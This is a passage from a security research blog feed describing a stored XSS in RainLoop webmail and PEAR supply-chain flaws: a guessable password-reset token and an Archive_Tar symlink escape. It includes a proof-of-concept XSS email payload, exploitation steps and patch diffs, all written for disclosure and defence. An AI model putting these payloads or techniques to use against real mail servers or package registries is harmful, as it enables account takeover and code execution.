 228    }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the next step, the attributes of the &lt;code&gt;&amp;lt;html&amp;gt;&lt;/code&gt; node are fetched and added to a newly created &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; tag to simulate the &lt;code&gt;&amp;lt;html&amp;gt;&lt;/code&gt; tag:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;rainloop/v/0.0.0/app/libraries/MailSo/Base/HtmlUtils.php&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt; 232    $aHtmlAttrs = HtmlUtils::GetElementAttributesAsArray($oHtml);
 233    $aBodylAttrs = HtmlUtils::GetElementAttributesAsArray($oBody);
 234 
 235    $oWrapHtml = $oDom-&gt;createElement(&apos;div&apos;);
 236    $oWrapHtml-&gt;setAttribute(&apos;data-x-div-type&apos;, &apos;html&apos;);
 237    foreach ($aHtmlAttrs as $sKey =&gt; $sValue)
 238    {
 239        $oWrapHtml-&gt;setAttribute($sKey, $sValue);
 240    }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This process is repeated for the &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; tag, but with an important difference: The &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; tag that is created to preserve the &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; attributes is created with the text content &lt;code&gt;___xxx___&lt;/code&gt;. This fake &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; is then appended to the fake &lt;code&gt;&amp;lt;html&amp;gt;&lt;/code&gt; node and dumped to HTML code:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;rainloop/v/0.0.0/app/libraries/MailSo/Base/HtmlUtils.php&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt; 242    $oWrapDom = $oDom-&gt;createElement(&apos;div&apos;, &apos;___xxx___&apos;);
 243    $oWrapDom-&gt;setAttribute(&apos;data-x-div-type&apos;, &apos;body&apos;);
 244    foreach ($aBodylAttrs as $sKey =&gt; $sValue)
 245    {
 246        $oWrapDom-&gt;setAttribute($sKey, $sValue);
 247    }
 248 
 249    $oWrapHtml-&gt;appendChild($oWrapDom);
 250 
 251    $sWrp = $oDom-&gt;saveHTML($oWrapHtml);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let’s walk through this code with an example. Let’s assume an attacker sent the following email:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;html&gt;
&lt;body data-some-attr=&quot;abc&quot;&gt;
    &lt;h1&gt;Hello!&lt;/h1&gt;
    &lt;p&gt;wehope you are doing good!&lt;/p&gt;
&lt;/body&gt;
&lt;/html&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The process we described thus far would then yield the following HTML code, stored in the &lt;code&gt;$sWrp&lt;/code&gt; variable:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;div data-x-div-type=&quot;html&quot;&gt;
    &lt;div data-x-div-type=&quot;body&quot; data-some-attr=&quot;abc&quot;&gt;
        ___xxx___
    &lt;/div&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the final step, the rest of the email is inserted in the wrapping code above. This is done by replacing the &lt;code&gt;___xxx___&lt;/code&gt; inside of the fake wrapping body with the previously generated HTML code:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;rainloop/v/0.0.0/app/libraries/MailSo/Base/HtmlUtils.php&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt; 252    $sResult = \str_replace(&apos;___xxx___&apos;, $sResult, $sWrp);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This would finally yield the following HTML code:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;div data-x-div-type=&quot;html&quot;&gt;
    &lt;div data-x-div-type=&quot;body&quot; data-some-attr=&quot;abc&quot;&gt;
        &lt;h1&gt;Hello!&lt;/h1&gt;
        &lt;p&gt;I hope you are doing good!&lt;/p&gt;
    &lt;/div&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h4&gt;The Logic Bug&lt;/h4&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As an attacker can control the attributes of a &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; tag and their values, they could create a &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; tag with an attribute value of &lt;code&gt;___xxx___&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This could, for example, result in the following HTML markup:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;div data-x-div-type=&quot;html&quot;&gt;
    &lt;div data-x-div-type=&quot;body&quot; data-some-attr=&quot;___xxx___&quot;&gt;
        ___xxx___
    &lt;/div&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As &lt;code&gt;str_replace()&lt;/code&gt; replaces the &lt;code&gt;___xxx___&lt;/code&gt; string as many times as it can find, an attacker can insert controlled user input into the quoted value of the &lt;code&gt;data-some-attr&lt;/code&gt;. Let’s assume an attacker crafted an email as follows:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;body data-some-attr=&quot;___xxx___&quot;&gt;
&lt;div title=&quot;x onclick=&apos;alert(document.cookie);//&apos; y&quot;&gt;
    XSS PoC
&lt;/div&gt;
&lt;/body&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this case, the HTML markup would result in the following after replacing &lt;code&gt;___xxx___&lt;/code&gt; with the rest of the HTML code:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;body data-some-attr=&quot;&lt;div title=&quot;x onclick=&apos;alert(document.cookie);//&apos; y&quot;&gt;
XSS PoC
&lt;/div&gt;&quot;&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Patch&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;At the time of writing, no official patch is available. We recommend the RainLoop fork &lt;a href=&quot;https://web.archive.org/web/20221008110525/https://snappymail.eu/&quot;&gt;SnappyMail&lt;/a&gt;. It has great security improvements and is actively maintained. We would like to thank the maintainers of this fork for their quick response and analysis of this issue. They confirmed to us that they are not affected. For this reason, we recommend users of RainLoop migrate to SnappyMail in the long term.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To help in the short term, we encourage users to apply the following inofficial patch that we developed (please carefully use at your own risk):&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;--- /tmp/HtmlUtils.php  2022-04-11 09:34:35.000000000 +0200
+++ rainloop/v/0.0.0/app/libraries/MailSo/Base/HtmlUtils.php    2022-04-11 09:35:12.000000000 +0200
@@ -239,7 +239,8 @@
               $oWrapHtml-&gt;setAttribute($sKey, $sValue);
           }
-           $oWrapDom = $oDom-&gt;createElement(&apos;div&apos;, &apos;___xxx___&apos;);
+           $rand_str = base64_encode(random_bytes(32));
+           $oWrapDom = $oDom-&gt;createElement(&apos;div&apos;, $rand_str);
           $oWrapDom-&gt;setAttribute(&apos;data-x-div-type&apos;, &apos;body&apos;);
           foreach ($aBodylAttrs as $sKey =&gt; $sValue)
           {
@@ -250,7 +251,7 @@
           $sWrp = $oDom-&gt;saveHTML($oWrapHtml);
-           $sResult = \str_replace(&apos;___xxx___&apos;, $sResult, $sWrp);
+           $sResult = \str_replace($rand_str, $sResult, $sWrp);
       }
       $sResult = \str_replace(\MailSo\Base\HtmlUtils::$KOS, &apos;:&apos;, $sResult);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In order to use this patch:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Create a backup of your RainLoop files!&lt;/li&gt;&lt;li&gt;Upload the patch file contents above to a file called &lt;code&gt;rainloop_xss.patch&lt;/code&gt; and store it in the root directory of your RainLoop installation&lt;/li&gt;&lt;li&gt;Run the following command:&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;patch rainloop/v/1.13.0/app/libraries/MailSo/Base/HtmlUtils.php &lt; rainloop_xss.patch&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Please note that your path may vary, depending on the version of RainLoop you use. In the example above, version 1.13.0 is used. Make sure to use the correct version in your path.&lt;/strong&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-11-30&lt;/td&gt;&lt;td&gt;We request a security contact by contacting support@rainloop.net. No response&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-12-06&lt;/td&gt;&lt;td&gt;We request a security contact by creating a GitHub issue. No response&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-01-03&lt;/td&gt;&lt;td&gt;We contact the vendor via email and the GitHub issue and inform them of our 90-day disclosure policy. No response&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;&lt;br/&gt;&lt;/h2&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this blog post, we analyzed a Persistent Cross-Site-Scripting vulnerability in RainLoop that triggers when a victim views a maliciously crafted email. The vulnerability occurred due to a logic bug &lt;strong&gt;after&lt;/strong&gt; the sanitization process, which is often overlooked by security audits. We have found similar bugs in high-profile targets such as &lt;a href=&quot;https://web.archive.org/web/20221008110525/https://blog.sonarsource.com/zimbra-webmail-compromise-via-email&quot;&gt;Zimbra&lt;/a&gt; and &lt;a href=&quot;https://web.archive.org/web/20221008110525/https://blog.sonarsource.com/wordpress-csrf-to-rce&quot;&gt;WordPress&lt;/a&gt;. In general, we recommend developers to not modifying any data after it has been sanitized, as any modification could reverse the sanitization step. Additionally, it is recommended to work with a DOM tree object, rather than operating on HTML text, as this leaves much more room for mistakes.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/wordpress-csrf-to-rce/&quot;&gt;WordPress CSRF to RCE&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/mybb-stored-xss-to-rce/&quot;&gt;MyBB From Stored XSS to RCE&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/zimbra-webmail-compromise-via-email/&quot;&gt;Zimbra Webmail compromise via email&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/smartstorenet-malicious-message-leading-to-e-commerce-takeover/&quot;&gt;SmartStore.net Malicious message leading to eCommerce takeover&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[PHP Supply Chain Attack on PEAR]]></title><description><![CDATA[For the second time in a year, we identified critical code vulnerabilities in a central component of the PHP supply chain. Let's dive into it!]]></description><link>https://www.sonarsource.com/blog/php-supply-chain-attack-on-pear</link><guid isPermaLink="false">4f766972-5393-53f3-92b8-922ea4e15f1b</guid><dc:creator><![CDATA[Thomas Chauchefoin]]></dc:creator><pubDate>Tue, 29 Mar 2022 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction &lt;/h2&gt;&lt;p&gt;After &lt;a href=&quot;https://www.sonarsource.com/blog/php-supply-chain-attack-on-composer/&quot;&gt;we released our research that allowed us to take over any package hosted on Packagist&lt;/a&gt;, the main repository used by Composer, we decided to review its counterpart named PEAR. Its use slowly decreased in favor of Composer, but it is still an integral part of the PHP ecosystem used by many companies. &lt;/p&gt;&lt;p&gt;For the second time in a year, we identified critical code vulnerabilities in a central component of the PHP supply chain. We believe these vulnerabilities could have been easily identified and exploited by threat actors with only minimal technical expertise, causing important disruption and security breaches across the world.&lt;/p&gt;&lt;p&gt;We already discussed the SolarWinds case, but numerous non-targeted attacks have made the news since. A recent report by the &lt;em&gt;European Union Agency For CyberSecurity&lt;/em&gt; (ENISA) studied 24 attacks reported between January 2021 and early July 2021 and highlighted that 50% of these attacks came from known threat actors and predicted a four-fold increase in 2021 as ransomware groups are joining the trend.&lt;/p&gt;&lt;p&gt;The impact of such attacks on developer tools such as PEAR is even more significant as they are likely to run it on their computers before deploying it on production servers, creating an opportunity for attackers to pivot into companies’ internal networks. &lt;/p&gt;&lt;p&gt;It is estimated that &lt;a href=&quot;https://pear.php.net/package-stats.php?cid=&amp;pid=&amp;rid=&amp;submit=Go&quot;&gt;around 285 million packages have ever been downloaded from pear.php.net&lt;/a&gt;, the most popular ones being the PEAR client itself, &lt;code&gt;Console_Getopt&lt;/code&gt;, &lt;code&gt;Archive_Tar,&lt;/code&gt; and &lt;code&gt;Mail&lt;/code&gt;. While Composer has a larger market share, these PEAR packages still get several thousand downloads per month. &lt;/p&gt;&lt;p&gt;In this article we present two bugs, both exploitable for more than 15 years. An attacker exploiting the first one could take over any developer account and publish malicious releases, while the second bug would allow the attacker to gain persistent access to the central PEAR server. &lt;/p&gt;&lt;p&gt;Before diving into the technical details, check out our video showing the various stages leading to arbitrary code execution on our local PEAR instance:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/5Xt67xTA6zM&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Technical Details&lt;/h2&gt;&lt;p&gt;In this section, we will cover the technical specificities of these two bugs, describe their root cause and how they can be exploited in a real-world scenario. We performed all our tests on a local virtual machine to avoid disrupting the official PEAR instance and used the official Git repository at commit &lt;a href=&quot;https://github.com/pear/pearweb/commit/f3333c2bd8cbe01a7a64772a6160601bca21ad84&quot;&gt;f3333c2&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;The source code behind &lt;code&gt;pear.php.net&lt;/code&gt; can be found on GitHub, in a project named &lt;a href=&quot;https://github.com/pear/pearweb/&quot;&gt;&lt;code&gt;pearweb&lt;/code&gt;&lt;/a&gt;. Our findings affect all &lt;code&gt;pearweb&lt;/code&gt; instances before 1.32, version in which the maintainers fixed the vulnerabilities we discovered. &lt;/p&gt;&lt;p&gt;The role of this software is to provide a bridge between the name of a package (e.g., &lt;code&gt;Console_Getopt&lt;/code&gt;) and the absolute URL where to download it from (e.g., &lt;em&gt;http://download.pear.php.net/package/Console_Getopt-1.4.3.tgz&lt;/em&gt;). Its compromise would allow changing this association and force package managers to download packages from unintended sources under the attacker’s control.&lt;/p&gt;&lt;h3&gt;Initial Foothold: Weak Entropy during Password Reset&lt;/h3&gt;&lt;p&gt;&lt;code&gt;pearweb&lt;/code&gt; instances do not allow self-registration: accounts are reserved to developers willing to propose packages for inclusion in the official PEAR repository. Requesting accounts can be done with the &lt;em&gt;Request Account&lt;/em&gt; form, where the requester has to provide information about their identity and the project they want to distribute. Requests are then manually validated by PEAR administrators. &lt;/p&gt;&lt;p&gt;This is an interesting choice to reduce abuse and to minimize the attack surface of the service: excluding the bug tracker, the only “interesting” features available without an account are this account request form, the authentication and the password reset functionality. &lt;/p&gt;&lt;p&gt;After scanning this project on SonarCloud, &lt;a href=&quot;https://sonarcloud.io/project/security_hotspots?id=SonarSourceResearch_pearweb&amp;hotspots=AXs5fIE08LIx3NRG5_qy&quot;&gt;our engine identified a Security Hotspot in a method named resetPassword()&lt;/a&gt;: &lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/0e6e8988-58e6-44f9-8983-7608602efd1b/body-4338cd69-cdb1-4700-b610-4cfc9eb41e75_Screenshot%2B2022-03-29%2Bat%2B14.37.26.png&quot; /&gt;&lt;p&gt;This code generates a random value, hash it with MD5 and then inserts it in the database along with other details required for the password reset. The use of MD5 is not a problem here, as long the hashed value is strong enough and unique.&lt;/p&gt;&lt;p&gt;The problem is explained &lt;a href=&quot;https://sonarcloud.io/project/security_hotspots?id=SonarSourceResearch_pearweb&amp;hotspots=AXs5fIE08LIx3NRG5_qy&quot;&gt;in great detail in the SonarCloud rule description&lt;/a&gt;: &lt;code&gt;mt_rand()&lt;/code&gt; should not be used for security-sensitive reasons. Let’s review the values concatenated together and then hashed with &lt;code&gt;md5()&lt;/code&gt;:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;code&gt;mt_rand(4,13)&lt;/code&gt;: an integer between &lt;code&gt;4&lt;/code&gt; and &lt;code&gt;13&lt;/code&gt; (inclusive bounds);&lt;/li&gt;&lt;li&gt;&lt;code&gt;$user&lt;/code&gt;: the username of the account to reset, known and controlled by the attacker;&lt;/li&gt;&lt;li&gt;&lt;code&gt;time()&lt;/code&gt;: the current timestamp;&lt;/li&gt;&lt;li&gt;&lt;code&gt;$pass1&lt;/code&gt;: the new password to use, known and controlled by the attacker.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;From the attacker’s point of view, the final value is only based on two unknowns, which are the output of &lt;code&gt;mt_rand()&lt;/code&gt; and &lt;code&gt;time()&lt;/code&gt;: the first one cannot yield many values (10), and the second one can easily be approximated by the attacker. In addition, the HTTP server of &lt;code&gt;pear.php.net&lt;/code&gt; adds a Date header to its responses, narrowing it down to only a few values (&amp;lt; 5). &lt;/p&gt;&lt;p&gt;We could conclude that attackers can discover a valid password reset token in less than 50 tries, and we developed a script to exploit this weakness and confirm its impact: this is the first step of the introduction video.&lt;/p&gt;&lt;p&gt;For the anecdote, &lt;a href=&quot;https://github.com/pear/pearweb/commit/49cb3ec29be5ed9eb94db4b0192a10fca9852137#diff-204452a70c5b0b0084097fcff6aee77c2c38cb77a41c4b2dd0065fda37a7489c&quot;&gt;this bug was introduced in March 2007 when first implementing this feature&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;By using this exploit against existing developer or administrator accounts, attackers could publish new releases of existing packages after including malicious code in them. It would then be automatically downloaded and executed every time somebody fetches these packages from PEAR. &lt;/p&gt;&lt;h4&gt;Gaining Persistence: CVE-2020-36193 in Archive_Tar&lt;/h4&gt;&lt;p&gt;After finding a way to access the features reserved to approved developers, threat actors are likely to look to gain remote code execution on the server. Such discovery would grant them considerably more operational capabilities: even if the previously mentioned bug ends up being fixed, a backdoor will allow keeping persistent access to the server and to continue to alter packages releases. It could also help them to hide their tracks by modifying access logs.&lt;/p&gt;&lt;h3&gt;Identification&lt;/h3&gt;&lt;p&gt;The initial access obtained with this first bug expands the attack surface to new features that were not reachable without an account and also likely to be less secure. &lt;/p&gt;&lt;p&gt;When deploying &lt;code&gt;pearweb&lt;/code&gt; on our test virtual machine, we noticed that it pulled the dependency &lt;code&gt;Archive_Tar&lt;/code&gt; in an old version (1.4.7, while the last one is 1.4.14):&lt;/p&gt;&lt;pre&gt;&lt;code&gt;root@pearweb:/var/www/html/pearweb# pear list
Installed packages, channel pear.php.net:
=========================================
Package                         Version  State
Archive_Tar                     1.4.7    stable&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;a href=&quot;https://pear.php.net/package/Archive_Tar/download/&quot;&gt;Looking at the changelog entries of this package&lt;/a&gt;, we can notice that until &lt;code&gt;Archive_Tar&lt;/code&gt; 1.4.12, creating a symbolic link pointing to an absolute path outside of the extraction directory was possible; this bug is tracked as CVE-2020-36193. &lt;/p&gt;&lt;p&gt;That bug class is very powerful, as it could allow writing a PHP file in a directory served by the HTTP server, ultimately leading to arbitrary code execution.&lt;/p&gt;&lt;p&gt;This library is used to extract package contents in a temporary directory to process them with &lt;code&gt;phpDocumentor&lt;/code&gt; and later publish the resulting files:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;cron/apidoc-queue.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;$query = &quot;SELECT filename FROM apidoc_queue WHERE finished = &apos;0000-00-00 00:00:00&apos;&quot;;
$rows = $dbh-&gt;getCol($query);
foreach ($rows as $filename) {
    $info = $pkg_handler-&gt;infoFromTgzFile($filename);
    $tar = new Archive_Tar($filename);
    // [...]
    /* Extract files into temporary directory */
    $tmpdir = PEAR_TMPDIR . &quot;/apidoc/&quot; . $name;
    // [...]
    $tar-&gt;extract($tmpdir);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This code is triggered at regular intervals using cron and new records are added to the table filename every time a new release of a package is published: this call to &lt;code&gt;Archive_Tar::extract()&lt;/code&gt; is then reachable by attackers thanks to the initial access they obtained with the first bug we presented.&lt;/p&gt;&lt;h3&gt;Exploitation&lt;/h3&gt;&lt;p&gt;To understand the technical details behind this vulnerability, some background knowledge about Tar archives is necessary. Archived files are stored sequentially, each entry prefixed with a 512 bytes header and their contents aligned to 512 bytes. The end of an entry is signaled with two empty records of 512 bytes. Fields like the file mode, the owner and group numeric identifier, and the file size are stored as octal numbers using ASCII digits. &lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/a3b30518-b16d-49c0-9682-3c7540c78867/body-c974703a-e2dd-4d13-b9c4-c68d71725b39_tar.png&quot; /&gt;&lt;p&gt;This archive format supports writing multiple kinds of “objects” to the disk, and among them are symbolic links: based on the CVE description, we can make the assumption that the bug lies in &lt;code&gt;Archive_Tar&lt;/code&gt;’s implementation of the extraction of such entries. It is easy to locate its implementation in the source code: at &lt;strong&gt;[1]&lt;/strong&gt; we match any entry whose type is “Symbolic link”, remove the destination (header entry filename) at &lt;strong&gt;[2]&lt;/strong&gt;, and then finally create the link at &lt;strong&gt;[3]&lt;/strong&gt;:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Archive/Tar.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;elseif ($v_header[&apos;typeflag&apos;] == &quot;2&quot;) {                   // [1]
if (@file_exists($v_header[&apos;filename&apos;])) {
    @unlink($v_header[&apos;filename&apos;]);                      // [2]
}
if (!@symlink($v_header[&apos;link&apos;], $v_header[&apos;filename&apos;])) { // [3]
    $this-&gt;_error(
        &apos;Unable to extract symbolic link {&apos;
        . $v_header[&apos;filename&apos;] . &apos;}&apos;
    );
    return false;
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Unlike &lt;code&gt;$v_header[&amp;#x27;link&amp;#x27;]&lt;/code&gt;,  &lt;code&gt;$v_header[&amp;#x27;filename&amp;#x27;]&lt;/code&gt; is validated beforehand using &lt;code&gt;_maliciousFilename()&lt;/code&gt; to ensure the absence of directory traversal characters and dangerous scheme wrappers&lt;strong&gt;: &lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Archive/Tar.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;private function _maliciousFilename($file)
{
  if (strpos($file, &apos;phar://&apos;) === 0) {
    return true;
  }
  if (strpos($file, &apos;../&apos;) !== false || strpos($file, &apos;..\\&apos;) !== false) {
    return true;
  }
  return false;
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;It should also be mentioned that the extraction of absolute paths is made safe by always prefixing with the destination folder (&lt;code&gt;$p_path&lt;/code&gt;):&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Archive/Tar.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;if (($p_path != &apos;./&apos;) &amp;&amp; ($p_path != &apos;/&apos;)) {
    while (substr($p_path, -1) == &apos;/&apos;) {
          $p_path = substr($p_path, 0, strlen($p_path) - 1);
    }
    if (substr($v_header[&apos;filename&apos;], 0, 1) == &apos;/&apos;) {
          $v_header[&apos;filename&apos;] = $p_path . $v_header[&apos;filename&apos;];
    } else {
        $v_header[&apos;filename&apos;] = $p_path . &apos;/&apos; . $v_header[&apos;filename&apos;];
    }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;As suggested by the CVE description, there is no validation performed on the destination of symbolic links. It could be exploited in several ways, among which:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;The &lt;code&gt;phar://&lt;/code&gt; scheme wrapper is blocked, but not other values like &lt;code&gt;file://&lt;/code&gt; or even &lt;code&gt;PHAR://&lt;/code&gt;: these bugs are CVE-2020-28948 and CVE-2020-28949, both fixed in &lt;code&gt;Archive_Tar&lt;/code&gt; 1.4.11;&lt;/li&gt;&lt;li&gt;Creating a symbolic link whose target is outside of the current directory. &lt;/li&gt;&lt;/ul&gt;&lt;p&gt;We can either create a new link pointing to a folder out of the extraction directory and write a file to it, or create two entries with the same name (it is allowed by this format!), the first being a symbolic link and the second the contents to write. &lt;/p&gt;&lt;p&gt;We were able to confirm the exploitability of this bug by writing arbitrary content to &lt;code&gt;/var/www/html/pearweb/public_html/evil.php&lt;/code&gt;, demonstrating the ability for an attacker to execute arbitrary code on the server. This is the second step of the proof-of-concept video. &lt;/p&gt;&lt;h2&gt;Patch&lt;/h2&gt;&lt;p&gt;The maintainers first released &lt;a href=&quot;https://github.com/pear/pearweb/commit/09760456120f12488890d430ba183461d937b440&quot;&gt;a first patch&lt;/a&gt; on August 4th, in which they introduced a safe method to generate pseudo-random bytes in the password reset functionality.&lt;/p&gt;&lt;p&gt;This code had a subtle flaw exploitable due to PHP not raising fatal errors when referencing non-existent variables and associating them with a default value, &lt;code&gt;NULL&lt;/code&gt;. &lt;/p&gt;&lt;p&gt;At &lt;strong&gt;[1]&lt;/strong&gt;, a string made of 16 random bytes is assigned to &lt;code&gt;$random_bytes&lt;/code&gt;, while md5(&lt;code&gt;$rand_bytes&lt;/code&gt;) is called at &lt;strong&gt;[2]&lt;/strong&gt;: this second variable does not exist (&lt;code&gt;$rand&lt;/code&gt;&lt;strong&gt;om&lt;/strong&gt;&lt;code&gt;_bytes&lt;/code&gt; vs &lt;code&gt;$rand_bytes&lt;/code&gt;) and this operation will always result in the MD5 hash of an empty string (&lt;code&gt;d41d8cd98f00b204e9800998ecf8427e&lt;/code&gt;). &lt;/p&gt;&lt;pre&gt;&lt;code&gt;--- a/include/users/passwordmanage.php
+++ b/include/users/passwordmanage.php
@@ -55,7 +55,12 @@ function resetPassword($user, $pass1, $pass2)
     {
         require_once &apos;Damblan/Mailer.php&apos;;
         $errors = array();
-        $salt = md5(mt_rand(4,13) . $user . time() . $pass1);
+        // [1]
+        $random_bytes = openssl_random_pseudo_bytes(16, $strong);
+        if ($random_bytes === false || $strong === false) {
+            $errors[] = &quot;Could not generate a safe password token&quot;;
+            return $errors;
+        }
+        // [2]
+        $salt = md5($rand_bytes):
         PEAR::staticPushErrorHandling(PEAR_ERROR_RETURN);
         $this-&gt;_dbh-&gt;query(&apos;DELETE FROM lostpassword WHERE handle=?&apos;, array($user));
         $e = $this-&gt;_dbh-&gt;query(&apos;INSERT INTO lostpassword
@@ -91,4 +96,4 @@ function resetPassword($user, $pass1, $pass2)
         }
         return $errors;
     }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We notified the maintainers of this typo, &lt;a href=&quot;https://github.com/pear/pearweb/commit/69f9531c2aca8866303b8b9efdd72365b6996f81&quot;&gt;after which they promptly fixed it&lt;/a&gt;. They also upgraded the version of &lt;code&gt;Archive_Tar&lt;/code&gt; in use, preventing the second vulnerability we presented. &lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-07-30&lt;/td&gt;&lt;td&gt;We report all issues to active maintainers of PEAR.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-08-03&lt;/td&gt;&lt;td&gt;A maintainer confirms the issues and starts working on patches; patches are released on GitHub a few days after.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-09 - 2022-03&lt;/td&gt;&lt;td&gt;We regularly ask for updates, to make sure the patches are deployed on the production instance.&lt;/td&gt;&lt;/tr&gt;
